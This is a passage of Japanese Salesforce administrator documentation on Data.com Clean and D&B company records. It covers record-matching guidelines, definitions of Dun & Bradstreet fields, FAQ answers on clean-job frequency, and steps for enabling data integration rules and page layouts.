• 名前
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• メール
info@org.com のようなグループアドレスではなく本人用のメールアドレスを使用します ([メール] の値が同一
の場合、レコードの他の値が矛盾しない限り、ほとんどは一致となります)。注: Data.com では、送信元が
Gmail または Yahoo のメールなど、個人連絡先情報が含まれるメールは保存されません。

• 取引先責任者は [取引先名]、リードは [会社]

• 役職
• 電話
取引先の場合、次の重要項目があります。
• 取引先名

– 取引先名に、数値 (1002)、特殊文字 (!#@#)、関連のない語など、関連のない値が含まれないようにします
(こうした記号が会社名の一部である場合は、許容されます)。

– 国名と都道府県名は、会社名の一部でないかぎり、値にすることは避けます。
– 取引先名に複数の語が含まれる場合 (DSGI Business (PC World Business) など)、両方を試みます。
– 取引先名が Web サイトでもある場合 (salesforce.com など)、サブドメイン (.com など) を除外してみ

てください。
• 住所(請求先)

– 可能ならば完全な住所を使用します。
– 一致率を最適化するために、[国] 項目の値を指定します。
– [状態] または [郵便番号] 項目値の指定を試みます。
– 町名はわかるが番地はわからない場合、町名のみを使用します。値を指定しないよりも、番地のない町

名を指定した方が役立ちます。

• Web サイト
• 電話
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D&B 企業レコード使用のガイドライン

エディション

使用可能なエディション:
Salesforce Classic

Data.com Premium Clean
ライセンスで使用可能な
エディション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

D&B 企業情報を実装する
• 「アプリケーションの

カスタマイズ」

Dun & Bradstreet® の業種、財務、および競合情報に関する 100 を超える項目が含ま
れている D&B 企業レコードを組織で最大限に活用できるようにガイドラインを
確認してください。
• 会社で Data.com Prospector または Data.com Clean を使用している場合、

DandBCompany オブジェクトにアクセスできます。このオブジェクトは、
Salesforce に追加した取引先およびリードの Dun & Bradstreet データを提供しま
す。

メモ:  [取引先の会社情報] または [リードの会社情報] のデータインテグ
レーションルールを使用するときにも、DandBCompany オブジェクトを使
用できます。

• ユーザプロファイルに [D&B 企業] タブが追加されていることを確認します。
ここで、ユーザは全 D&B 企業レコードのリストにアクセスできます。[D&B 企
業] タブには、Salesforce にあるすべての D&B 企業レコードが表示されます。

• ユーザが D&B 企業レコードを削除できるようにするには、「D&B 企業レコー
ドの削除」および「D&B 企業レコードの参照」権限を含む権限セットを作成
してユーザに割り当てます。また、[削除] ボタンをページレイアウトに追加
してください。

• 組織で Data.com Clean も使用している場合は、D&B 企業レコードを更新する自動ジョブも使用できます。
• 手動で D&B 企業レコードを更新して Dun & Bradstreet から最新データを取得できるように、[更新] ボタンを

D&B 企業ページレイアウトに追加します。自動ジョブを使用して D&B 企業レコードを更新することもでき
ます。

• 取引先レコードにリンクされている D&B 企業レコードが、リンク先の取引先レコードと一緒にクリーンアッ
プされることはありません。

• Data.comから追加されていない取引先またはリード (手動で作成されたものなど) では、対応する D&B 企業レ
コードが存在する場合、そのレコードの初回のクリーンアップ時に、レコードが Salesforce に追加され、取
引先レコードまたはリードレコードにリンクされます。

• SIC8 コード項目 ([第 1 SIC8 コード] など) は、既存の D&B 企業レコードが手動あるいはジョブの一部とし
て更新されたときに更新されません。これらの項目は、D&B 企業レコードの作成時にのみ自動入力されま
す。既存の D&B 企業レコードの SIC8 コード値を取得するために、レコードを削除して、その対応する取引
先をクリーンアップすることができます。この操作によって、D&B 企業レコードが再作成され、SIC8 コード
項目に値が入力されています。または、Data.com 検索 API から SIC8 値を取得して、D&B 企業レコードに追加
することもできます。

関連トピック:

Data.com Prospector および Data.com Clean のページレイアウトの設定
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D&B 企業項目

エディション

使用可能なエディション:
Salesforce Classic

Data.com Premium
Prospectorライセンスで使
用可能なエディション:
Contact Manager Edition
(リードオブジェクトな
し)、Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Data.com Premium Clean
ライセンスで使用可能な
エディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

取引先またはリードが追加または更新されると、D&B 企業レコードが作成され、
[D&B 企業]項目を介してその取引先またはリードにリンクされます。[D&B 企
業] 項目のリンクをクリックして、関連付けられた D&B 企業レコードにアクセ
スできます。このレコードには、Dun & Bradstreet の業種、財務、および競合情報
に関する 100 を超える項目が含まれています。

例: Data.comからスターバックスの取引先レコードを追加する場合、そのレ
コードを開くと、[D&B 企業] 項目値は Starbucks 社 となっています。
値は、リンクとして識別できるように下線付きで表示されています。この
リンクをクリックすると、Startbucks Corporation の D&B 企業レコードが開きま
す。

例:  Google の取引先レコードを更新する場合、そのレコードを開くと、[D&B

企業] 項目値は Google となっています。値は、リンクとして識別できる
ように下線付きで表示されています。このリンクをクリックすると、Google

の D&B 企業レコードが開きます。

メモ: 一部の D&B 項目表示ラベルは、それが対応付けられているオブ
ジェクト項目の表示ラベルとは異なります。たとえば、取引先レコー
ドの [取引先 部門] 項目は、リンクされた D&B 企業レコードの [場所
種別] 項目に対応付けられています。デフォルトの対応付けのリスト
については、「デフォルトのData.com項目とSalesforce項目の対応付け」
(ページ 2064)を参照してください。

説明項目

年間総売上高 (本社の現地通貨)。Dun &

Bradstreet は、株式公開企業、グローバ
年間売上高

ルグループ代表企業、国内グループ代
表企業、および一部の本社の売上デー
タを追跡します。Dun & Bradstreet は、支
店についてはこのデータを提供しませ
ん。

年間売上高の数値の信頼性。使用可能
な値は、実績値、低、予測 (全レコー

[年間売上高インジケータ]

ドが対象)、モデル化済み (米国以外の
レコードが対象) です。空白値は、こ
の表示できるデータがないことを示し
ます。

会社についての短い説明。会社の沿
革、製品とサービス、および特定の業

会社の説明

種への影響度が含まれる場合がありま
す。このデータは Hoover が提供しま
す。
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説明項目

会社による支払いが合意した条件と比較して大幅に遅
れる確率。リスクレベルは標準の商業信用度に基づ

支払遅延リスク

き、低リスクから高リスクまでの範囲があります。
マーケティングプレスクリーニングとも呼ばれます。
使用可能な値は、支払遅延リスク高、支払遅延リスク
低、支払遅延リスク中です。Dun & Bradstreet は、米国お
よびカナダの企業についてのみこのデータを提供しま
す。

重要: この情報は、マーケティングの事前スク
リーニング目的にのみ使用してください。

国内グループ代表企業の主名称。国内グループ代表企
業は、組織の会社構造内で、国別に指定された最も上
位の子会社です。

国内代表企業の会社名

国内グループ代表企業の D-U-N-S number。国内グルー
プ代表企業は、組織の会社構造内で、国別に指定され
た最も上位の子会社です。

国内代表企業の D-U-N-S Number

Data Universal Numbering System (D-U-N-S) Number は、Dun

& Bradstreet データベース内の、それぞれ事業が異なる
D-U-N-S 番号

一意の各事業所に割り当てられた一意の 9 桁の番号で
す。D-U-N-S Number は、事業の識別と追跡のための世
界標準として世界中の産業と組織で使用されます。

会社の FAX 番号。Fax 番号

組織をより詳細な業種で分類するために使用される追
加の NAICS コード。「第 1 NAICS コード」を参照してく
ださい。

第 5 NAICS コード

対応する NAICS コードに基づいた、組織の業種の短い
説明。「第 1 NAICS の説明」を参照してください。

第 5 NAICS の説明

組織をより詳細な業種で分類するために使用される追
加の産業コード (SIC コード)。最大 8 文字です。

[第 5 SIC8 コード]*

対応する産業コードに基づいた、組織の業種の短い説
明。最大 80 文字です。

第 5 SIC8 の説明

組織をより詳細な業種で分類するために使用される追
加の産業コード (SIC コード)。「第 1 産業コード」を
参照してください。

第 5 産業コード

対応する産業コードに基づいた、組織の業種の短い説
明。「第 1 産業区分の説明」を参照してください。

第 5 産業区分の説明
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説明項目

組織で使用される追加の取引形態。「D&B 企業項目」
を参照してください。

第 5 取引形態

Federal Information Processing Standards (FIPS) および
Metropolitan Statistical Area (MSA) コードは、組織の所在地

FIPS MSA コード

を示します。MSA コードは、米国行政管理予算局 (US

Office of Management and Budget) によって定義されます。
Dun & Bradstreet は、米国の企業についてのみこのデー
タを提供します。

組織のFIPS MSA コードの短い説明。Dun & Bradstreet は、
米国の企業についてのみこのデータを提供します。

FIPS MSA コードの説明

組織をより詳細な業種で分類するために使用される追
加の NAICS コード。「第 1 NAICS コード」を参照してく
ださい。

第 4 NAICS コード

対応する NAICS コードに基づいた、組織の業種の短い
説明。「第 1 NAICS の説明」を参照してください。

第 4 NAICS の説明

組織をより詳細な業種で分類するために使用される追
加の産業コード (SIC コード)。最大 8 文字です。

[第 4 SIC8 コード]*

対応する産業コードに基づいた、組織の業種の短い説
明。最大 80 文字です。

第 4 SIC8 の説明

組織をより詳細な業種で分類するために使用される追
加の産業コード (SIC コード)。「第 1 産業コード」を
参照してください。

第 4 産業コード

対応する産業コードに基づいた、組織の業種の短い説
明。「第 1 産業区分の説明」を参照してください。

第 4 産業区分の説明

組織で使用される追加の取引形態。「D&B 企業項目」
を参照してください。

第 4 取引形態

会社の Fortune 1000 の順位。null または空白の場合、会
社が Fortune 1000 企業としてランクされていないこと
を意味します。

Fortune 1000 の順位

物理的住所と比較した場合の場所の地理座標の精度レ
ベル。次の値を使用できます。建物レベル、番地レベ

地理コードの精度

ル、街区レベル、人口調査標準地域レベル、郵送先住所
レベル、郵便番号レベル、地域コードを割り当てできま
せんでした、正しい市に住所を配置してください、一致
しない、州セントロイド、道路の交差点、私書箱の場
所、 US 以外の建物レベルの精度、郡セントロイド、
サブ地域 – 番地レベル、地域セントロイド。
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説明項目

グローバルグループ代表企業の主名称。グローバルグ
ループ代表企業は、組織の会社構造内で最も上位にあ

グローバル代表企業の会社名

る事業体で、支店と子会社を統括する場合がありま
す。

グローバルグループ代表企業のD-U-N-S number。グロー
バルグループ代表企業は、組織の会社構造内で最も上

グローバル代表企業の D-U-N-S Number

位にある事業体で、支店と子会社を統括する場合があ
ります。

企業が商品またはサービスを輸入/輸出しているか、
商品の代理店であるかどうかを示します。

輸入/輸出

国際電話に必要なコード。国際ダイヤルコード

地球上のある地点の南北の位置を示す地理座標。正確
な位置を指定するために経度と一緒に使用されます。

緯度

正確な位置は地理コードの精度の評価に使用されま
す。

組織の法律上の会社形態を示します。使用可能な値
は、協同組合、非営利組織、地方自治体、不明な種別の
合名会社、外国企業です。

法律上の会社形態

会社の売上高を表すために使用する通貨。すべての値
の一覧は、Dun & Bradstreet が管理するオプティマイザ
リソースページを参照してください。

現地通貨コード

会社の現地通貨を表すために使用されるコード。国際
標準化機構 (ISO) が提供するこのコードは、ISO の 3 文

現地通貨の ISO コード

字通貨コードに基づいています。たとえば、USD は米
国ドルの ISO コードです。

会社が、入居する建物を所有しているか、賃借してい
るかを示します。

場所所有者インジケータ

会社の組織上の状況を示します。使用可能な値は、単
一所在地、本社/親会社、支店です。

場所種別

地球上のある地点の東西の位置を示す地理座標。正確
な位置を指定するために緯度と一緒に使用されます。

緯度

正確な位置は会社の地理コードの精度の評価に使用さ
れます。

会社への郵便物が配送される住所。住所(郵送先) が第
1 住所と同じ場合、この項目は空白です。

住所(郵送先)
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説明項目

22 個の異なる相互排他的なプロファイル。米国企業
を対象とした Dun & Bradstreet データのクラスタ分析の

マーケティングセグメンテーションクラスタ

結果として作成されます。使用可能な値には、保険/

公益業種の高成長支店、急成長中の大規模企業、労働集
約型の巨大企業、スパルタ型企業、米国の中小企業など
があります。Dun & Bradstreet は、米国の企業について
のみこのデータを提供します。

組織の所有権または支配権を持つのがマイノリティグ
ループのメンバーかどうかを示します。Dun & Bradstreet

マイノリティ所有インジケータ

は、米国の企業についてのみこのデータを提供しま
す。

一部の国で事業登録と徴税に使用される識別番号。こ
の項目は米国企業には適用されません。

国民 ID 番号

使用される国内識別番号の種別を示します。すべての
値の一覧は、Dun & Bradstreet が管理するオプティマイ
ザリソースページを参照してください。

国民 ID 体系

組織内の世界中のファミリーメンバーの総数。グロー
バルグループ代表企業、その子会社 (ある場合)、その
支店 (ある場合) を含みます。

企業ファミリーのメンバー数

グローバルグループ代表企業の従業員総数。グローバ
ルグループ代表企業は、組織の会社構造内で最も上位

従業員数 — グローバル

にある事業体で、支店と子会社を統括する場合があり
ます。

指定された場所 (支店の場所など) の従業員数。従業員数 — 場所

従業員数 — 場所の数値の信頼性。使用可能な値は、
実績値、低、予測 (全レコードが対象)、モデル化済み

従業員数 — 場所インジケータ

(米国以外のレコードが対象)です。空白値は、この表
示できるデータがないことを示します。

すべての子会社と支店所在地を含む、会社の従業員総
数。このデータは、[場所種別]項目の値が「本社/親
会社」のレコードでのみ使用できます。

従業員数 — 合計

従業員数 – 合計の数値の信頼性。使用可能な値は、実
績値、低、予測 (全レコードが対象)、モデル化済み

従業員数 — 合計インジケータ

(米国以外のレコードが対象)です。空白値は、この表
示できるデータがないことを示します。

指定された住所の会社が事業を廃止しているかどうか
を示します。

倒産インジケータ
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説明項目

会社の所有形態が公開か非公開かを示します。株式公
開企業の子会社の値は、子会社が別個に株式を公開し
ている場合を除き、非公開と表示されます。

所有者種別インジケータ

親会社または本社の主名称。親会社の会社名

親会社または本社のD-U-N-S number。親会社の D-U-N-S Number

会社の物理的所在地の住所。この項目が取引先レコー
ドの [住所(請求先)] になります。

第 1 住所

会社の主名称または登記上の名前。第 1 会社名

6 桁の North American Industry Classification System (NAICS)

コードは、企業と政府で使用される標準コードで、事
第 1 NAICS コード

業所をその経済行動に従って分類します。米国の企業
経済に関連する統計データの収集、分析、公開を目的
としています。すべての値の一覧は、Dun & Bradstreet

が管理するオプティマイザリソースページを参照して
ください。

NAICS コードに基づいた、組織の業種の短い説明。第 1 NAICS の説明

4 桁の Standard Industrial Classification (SIC) コード (産業コー
ド) は、企業の業種別分類に使用されます。すべての

第 1 産業コード

値の一覧は、Dun & Bradstreet が管理するオプティマイ
ザリソースページを参照してください。

産業コードに基づいた、組織の業種の短い説明。第 1 産業区分の説明

正式名称とは別に、組織が事業活動に使用する名前。
屋号に似ています。

第 1 取引形態

前年度の総従業員数。前年度の従業員数

前年度の年間売上。前年度の売上

組織をより詳細な業種で分類するために使用される追
加の産業コード (SIC コード)。最大 8 文字です。

[第 2 SIC8 コード]*

対応する産業コードに基づいた、組織の業種の短い説
明。最大 80 文字です。

第 2 SIC8 コードの説明

組織をより詳細な業種で分類するために使用される追
加の NAICS コード。「第 1 NAICS コード」を参照してく
ださい。

第 2 NAICS コード

対応する NAICS コードに基づいた、組織の業種の短い
説明。「第 1 NAICS の説明」を参照してください。

第 2 NAICS の説明
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説明項目

組織をより詳細な業種で分類するために使用される追
加の産業コード (SIC コード)。「第 1 産業コード」を
参照してください。

第 2 産業コード

対応する産業コードに基づいた、組織の業種の短い説
明。「第 1 産業区分の説明」を参照してください。

第 2 産業区分の説明

組織で使用される追加の取引形態。「D&B 企業項目」
を参照してください。

第 2 取引形態

組織をより詳細な業種で分類するために使用される追
加の NAICS コード。「第 1 NAICS コード」を参照してく
ださい。

第 6 NAICS コード

対応する NAICS コードに基づいた、組織の業種の短い
説明。「第 1 NAICS の説明」を参照してください。

第 6 NAICS の説明

組織をより詳細な業種で分類するために使用される追
加の産業コード (SIC コード)。最大 8 文字です。

[第 6 SIC8 コード]*

対応する産業コードに基づいた、組織の業種の短い説
明。最大 80 文字です。

第 6 SIC8 の説明

組織をより詳細な業種で分類するために使用される追
加の産業コード (SIC コード)。「第 1 産業コード」を
参照してください。

第 6 産業コード

対応する産業コードに基づいた、組織の業種の短い説
明。「第 1 産業区分の説明」を参照してください。

第 6 産業区分の説明

会社が、米国政府の中小企業局が定める小規模企業に
該当するかどうかを示します。Dun & Bradstreet は、米
国の企業についてのみこのデータを提供します。

中小企業インジケータ

会社の株式コードに対応する証券取引所。たとえば、
ナスダック (NASDAQ) やニューヨーク証券取引所 (NYSE)

などです。

証券取引所

会社の株式の過半数を別の組織が保有しているかどう
かを示します。

関連子会社インジケータ

true または false の値。true の場合、会社は S&P 500 イ
ンデックスの構成銘柄です。false の場合、会社は
S&P 500 インデックスの構成銘柄ではありません。

S&P 500

会社の主電話番号。電話番号

組織をより詳細な業種で分類するために使用される追
加の NAICS コード。「第 1 NAICS コード」を参照してく
ださい。

第 3 NAICS コード
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説明項目

対応する NAICS コードに基づいた、組織の業種の短い
説明。「第 1 NAICS の説明」を参照してください。

第 3 NAICS の説明

組織をより詳細な業種で分類するために使用される追
加の産業コード (SIC コード)。最大 8 文字です。

[第 3 SIC8 コード]*

対応する産業コードに基づいた、組織の業種の短い説
明。最大 80 文字です。

第 3 SIC8 の説明

組織をより詳細な業種で分類するために使用される追
加の産業コード (SIC コード)。「第 1 産業コード」を
参照してください。

第 3 産業コード

対応する産業コードに基づいた、組織の業種の短い説
明。「第 1 産業区分の説明」を参照してください。

第 3 産業区分の説明

組織で使用される追加の取引形態。「D&B 企業項目」
を参照してください。

第 3 取引形態

特定の株式の公開株式を示すために使用される略語。
銘柄コードとも呼ばれます。

株式コード

組織の主 Web サイトアドレス。URL

米国国税庁 (IRS) が税法の運用に使用する会社の識別番
号。米国納税者番号とも呼ばれます。Dun & Bradstreet

米国納税 ID 番号

は、米国の企業についてのみこのデータを提供しま
す。

会社の株式の過半数を保有するか、会社の支配権を持
つのが女性かどうかを示します。Dun & Bradstreet は、
米国の企業についてのみこのデータを提供します。

女性所有インジケータ

会社が設立された年、または会社の現在の所有者また
は経営者が会社の支配権を確立した年。会社が設立さ

設立年

れた年と所有された年のどちらも不明な場合は、Dun

& Bradstreet レコードが作成された年が使用されます。
Dun & Bradstreet は、支店についてはこのデータを提供
しません。

* Data.com Prospector ライセンスがある場合のみ使用可能です。
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Data.com FAQ の管理

エディション

使用可能なエディション:
Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

システム管理者の Data.com に関するよくある質問 (FAQ) への回答を確認します。

自分の組織が所有する Data.com 製品を確認する方法は?

データインテグレーションルールと Data.com Clean に影響を受ける項目
Data.com を使用してレコードを更新すると、レコードの項目は Data.com デー
タで更新されます。
取引先、取引先責任者、およびリードレコードをクリーンアップするために
組織で使用する必要がある製品は?

Data.com ユーザが追加上限に達し、より多くの見込み容量が必要な場合はど
うしたらよいですか?

Data.com Clean ジョブによってレコードを自動的に更新されないようにするこ
とは可能ですか?

データへのアクセスは制限されているため、このレコードを完全にはクリー
ンアップできません。というメッセージが表示されるのはなぜですか?

Data.com Clean ジョブで私の取引先、取引先責任者、リード、D&B 企業がすべ
て更新される頻度は?

関連トピック:

Salesforce 内で必要な高品質のデータの取得

自分の組織が所有する Data.com 製品を確認する方法は?

[Data.comライセンスと制限] ページにアクセスして確認できます。[設定] から、[クイック検索]ボックスに「ラ
イセンスと制限」と入力し、[ライセンスと制限] を選択します。組織が Data.com コーポレートプロスペクタを
購入した場合、ページのこのセクションのヘッダーに「コーポレート」と表示されます。組織がData.com プレ
ミアムプロスペクタを購入した場合、ヘッダーに「プレミアム」と表示されます。

関連トピック:

Data.com Clean

データインテグレーション
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データインテグレーションルールと Data.com Clean に影響を受ける項目

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.comを使用してレコードを更新すると、レコードの項目はData.comデータで
更新されます。

メモ:

• データインテグレーションルールの項目の対応付けをカスタマイズした
場合、Data.com に影響を受ける項目は、リストされた項目とは異なるこ
とがあります。

• 次のいずれかのメッセージを受信した場合は、Salesforceシステム管理者
にお問い合わせください。データへのアクセスは制限されているため、こ
のレコードを完全には更新できませんまたは取引先項目へのアクセスは制
限されているため、以下に示すすべての項目を更新できません

取引先項目
Data.com Clean および「取引先の会社情報」データインテグレーションルールで
は、次の項目を使用できます。アスタリスク (*) は、「取引先の会社情報」デー
タインテグレーションルールで使用できない項目を表します。

業種取引先名

NAICS コード取引先 部門

NAICS の説明年間売上

会社形態住所(請求先)

電話クリーンアップ状況*

産業コードD&B 企業

産業区分の説明Data.com キー

株式コードD-U-N-S 番号

取引形態説明

Web サイト従業員数

設立年Fax

取引先責任者の項目
Data.com Clean では次の項目が使用できます。

住所(郵送先)クリーンアップ状況

電話Data.com キー

役職メール
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氏名

リードの項目
Data.com Cleanでは次の項目が使用できます。アスタリスク (*) は、[リードの会社情報] データインテグレーショ
ンルールで使用できる項目を表します。

メール住所

Industry*年間売上*

名前クリーンアップ状況

[従業員数]*会社名

電話会社 D-U-N-S 番号*

役職D&B 企業*

Data.com キー

取引先住所 (請求先) の地理コードの項目
「取引先住所 (請求先) の地理コード」データインテグレーションルールでは、次の項目を使用できます。

BillingLongitudeBillingLatitude

BillingGeocodeAccuracy

メモ: これらの項目はレコードには表示されません。

取引先住所 (納入先) の地理コードの項目
「取引先住所 (納入先) の地理コード」データインテグレーションルールでは、次の項目を使用できます。

ShippingLongitudeShippingLatitude

ShippingGeocodeAccuracy

メモ: これらの項目はレコードには表示されません。

取引先責任者住所 (郵送先) の地理コードの項目
「取引先責任者住所 (郵送先) の地理コード」データインテグレーションルールでは、次の項目を使用できま
す。

MailingLongitudeMailingLatitude
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MailingGeocodeAccuracy

メモ: これらの項目はレコードには表示されません。

リード住所の地理コードの項目
「リード住所の地理コード」データインテグレーションルールでは、次の項目を使用できます。

LongitudeLatitude

GeocodeAccuracy

メモ: これらの項目はレコードには表示されません。

関連トピック:

データへのアクセスは制限されているため、このレコードを完全にはクリーンアップできません。という
メッセージが表示されるのはなぜですか?

Salesforce Classic で個々の取引先レコードをクリーンアップ

取引先、取引先責任者、およびリードレコードをクリーンアップするために組織で使用する必要が
ある製品は?

複数のオプションがあります。Data.com製品スイートの詳細と、各製品が提供するクリーンアップオプション
の説明は、「高品質データを必要なときに Salesforce で取得」を参照してください。
組織でクリーンアップを行う際に支援が必要な場合は、Salesforce サポートにお問い合わせください。

関連トピック:

Data.com Clean

Data.com ユーザが追加上限に達し、より多くの見込み容量が必要な場合はどうしたらよいですか?

Data.com ユーザの追加ライセンスを購入する必要がある場合は、Salesforce のアカウントエグゼクティブにお問
い合わせください。

関連トピック:

Data.com ユーザ種別、ライセンス、およびレコード追加制限のしくみ
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Data.com Clean ジョブによってレコードを自動的に更新されないようにすることは可能ですか?

はい、可能です。このリンク先のガイドラインに従ってください。

関連トピック:

Data.com Clean

Data.com Clean ジョブによるレコードの更新の回避

データへのアクセスは制限されているため、このレコードを完全にはクリーンアップできません。というメッ
セージが表示されるのはなぜですか?

取引先、取引先責任者、またはリードレコードの 1 つ以上の項目を編集できない場合、Data.com Cleanを使用し
て手動でレコードをクリーンアップすると、このエラーメッセージが表示されます。編集できる項目はクリー
ンアップできます。
レコードをクリーンアップするときに影響を受ける Salesforce項目 (D&B 項目を含む) を編集できるかどうかを確
認するようにシステム管理者に依頼してください。システム管理者による確認方法は、会社で使用している
Salesforce のエディションによって異なります。
• Contact Manager Edition および Group Edition の場合、各項目が適切なページレイアウトにあることを確認しま

す。
• Professional Edition、Enterprise Edition、Performance Edition、Unlimited Edition の場合、各項目の項目レベルセキュリ

ティが 参照可能 に設定されていることを確認します。

関連トピック:

データインテグレーションルールと Data.com Clean に影響を受ける項目
Data.com FAQ の使用

Data.com Clean ジョブで私の取引先、取引先責任者、リード、D&B 企業がすべて更新される頻度は?

[クリーンアップジョブ] ページを使用して、ジョブの実行時期を選択します。次の 2 種類のジョブがあります。
完全同期ジョブ

クリーンアップ状況に関係なく、すべてのレコードがクリーンアップされます。

メモ: スキップされたレコードを除外するようにジョブが設定されている場合、クリーンアップ状況
が スキップ のレコードはクリーンアップされません。

増分同期ジョブ
クリーンアップ状況が 未比較 のレコードのみがクリーンアップされます。

完全同期ジョブを実行するには、少なくとも 1 つの曜日にジョブをスケジュールしておく必要があります。
取引先責任者とリードの場合、完全同期ジョブはすべての対象レコードに対して 14 日ごとに実行されます。
D&B 企業レコードの場合、完全同期ジョブは 14 日ごとに実行されます。D&B 企業レコードは、完全同期ジョブ
によってのみクリーンアップされます。
取引先の場合、完全同期ジョブを実行する頻度は、選択したマッチングサービスと、取引先の [会社 D-U-N-S

番号]項目に値があるかどうかによって異なります。D-U-N-S 番号がある取引先の場合、完全同期ジョブはマッ
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チングサービスに関係なく 14 日ごとに実行されます。D-U-N-S 番号がない取引先の場合は、次の表を確認して
ください。

完全同期ジョブで D-U-N-S 番号がない取引先をクリー
ンアップできる頻度

マッチングサービス

14 日ごとData.com マッチング

30 日ごとDUNSRight マッチング

メモ:  D-U-N-S 番号がない取引先に対して完全同
期ジョブを実行するたびに、[クリーンアップ
ジョブ] ページの [次のジョブで完全同期] オプ
ションをオンに設定する必要があります。完全
同期ジョブの実行後、このオプションはオフに
変更され、前回の完全同期ジョブが完了してか
ら 30 日間は オン に切り替えることはできませ
ん。

関連トピック:

Data.com クリーンアップジョブのスケジュール設定
Data.com Clean を使用した Salesforce 取引先レコードの完全同期のスケジュール設定

データインテグレーションの設定

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

取引先の会社情報とリー
ドの会社情報のルールを
使用するには、Data.com
Premium Clean ライセンス
が必要です。

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

「アプリケーションのカスタマイズ」データインテグレーションを実装する

「内部ユーザの管理」データインテグレーションユーザを有効
にする

「Apex 開発」トリガを定義する

「アプリケーションのカスタマイズ」ワークフロールールを定義する

「AppExchangeパッケージのダウンロー
ド」

AppExchangeパッケージをインストール
する

最新のデータで組織を継続的に更新するようにデータインテグレーションを設
定します。

メモ: この情報は、データインテグレーションに適用され、Data.com Clean

には適用されません。
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1. データインテグレーションルールの有効化
取引先、取引先責任者、またはリードに対してデータインテグレーションを有効にするには、データイン
テグレーションルールを有効にします。ルールを有効にすると、Data.com によってオブジェクト内のすべ
てのレコードが更新されます。その後、レコードを追加または変更したときに、レコードが継続的に更新
されます。

2. データインテグレーションのページレイアウトの設定
データインテグレーションルールを有効にする場合、データインテグレーション機能をユーザが使用でき
るようにするには、ボタンと項目を取引先、取引先責任者、およびリードのページレイアウトに追加しま
す。

3. 会社情報データインテグレーションルールの設定に関するガイドライン
Data.com データインテグレーションルールを使用して取引先およびリードを自動的に更新する場合は、重
要なガイドラインに従ってください。

4. 取引先、取引先責任者、リードのデータインテグレーション情報に関するカスタムレポートタイプの作成
取引先、取引先責任者、リードのデータインテグレーション更新情報に関するレポートの作成に役立つカ
スタムレポートタイプを作成します。データインテグレーションカスタムレポートタイプは、1 つのレポー
トで複数のレコードの更新情報を見やすくするのに役立ちます。その情報を使用して、データのパターン
や動向を識別したり、レコードの更新方法を管理または変更したりします。

5. データインテグレーションルールのカスタム対応付けに関する考慮事項
データインテグレーションルールでは、更新項目の対応付けによって、Data.com がレコードを更新する方
法を制御します。ルールには、デフォルトの項目の対応付けがあり、カスタマイズ可能です。更新の対応
付けを変更する前に、対応付けが機能するしくみ、必要な準備、および予期される結果について理解して
おいてください。

6. 定期データ更新とは?

データサービスを使用すると、定期的にレコードの完全同期を自動的に実行できます。また、以前存在し
たデータが使用できなくなっている場合には、それが報告されます。

関連トピック:

データインテグレーションルールの有効化
データインテグレーションのページレイアウトの設定
取引先、取引先責任者、リードのデータインテグレーション情報に関するカスタムレポートタイプの作成
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データインテグレーションルールの有効化

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

取引先の会社情報とリー
ドの会社情報のルールを
使用するには、Data.com
Premium Clean ライセンス
が必要です。

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

データインテグレーショ
ンを有効または無効にす
る
• 「アプリケーションの

カスタマイズ」

取引先、取引先責任者、またはリードに対してデータインテグレーションを有
効にするには、データインテグレーションルールを有効にします。ルールを有
効にすると、Data.comによってオブジェクト内のすべてのレコードが更新されま
す。その後、レコードを追加または変更したときに、レコードが継続的に更新
されます。

メモ: この情報は、データインテグレーションに適用され、Data.com Clean

には適用されません。
使用するデータインテグレーションルールを有効にすることによって、取引先、
取引先責任者、またはリードに対してデータインテグレーションを有効にしま
す。
1. [設定] から、[クイック検索]ボックスに「データインテグレーションルール」

と入力します。
2. [ビュー] ドロップダウンから、[すべてのデータインテグレーションルール]

を選択します。
3. [現在の状況] 列を確認します。ルールの状況に「有効」という言葉が含まれ

ている場合は、完了です。他のデータインテグレーションを有効にできま
す。
a. ルールの状況が無効である場合、ルールの名前をクリックします。
b. ルールの詳細ページで、[有効化]をクリックしてルールを有効にします。
c. 表示されたダイアログで、[OK] をクリックしてルールを有効にします。
d. データインテグレーションルールのリストに戻るには、[リストに戻る:

データインテグレーションルール] をクリックします。

データインテグレーションルールが有効になり、このルールに対してデータインテグレーションが有効になり
ました。
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データインテグレーションのページレイアウトの設定

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

取引先の会社情報とリー
ドの会社情報のルールを
使用するには、Data.com
Premium Clean ライセンス
が必要です。

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

ページレイアウトをカス
タマイズする
• 「アプリケーションの

カスタマイズ」

ページレイアウトを参照
する
• 「設定・定義を参照す

る」

データインテグレーションルールを有効にする場合、データインテグレーショ
ン機能をユーザが使用できるようにするには、ボタンと項目を取引先、取引先
責任者、およびリードのページレイアウトに追加します。

メモ: この情報は、データインテグレーションに適用され、Data.com Clean

には適用されません。

メモ:  Professional Edition を使用している場合、選択可能な Data.com 項目およ
びボタンをすべて、各オブジェクト (取引先、取引先責任者、リード、D&B

企業) のページレイアウトに追加します。カスタムページレイアウトは
Professional Edition では使用できません。

メモ: この作業は、Salesforce Classic でのみ必要です。
1. [設定] から、[クイック検索] ボックスに「取引先」と入力します。
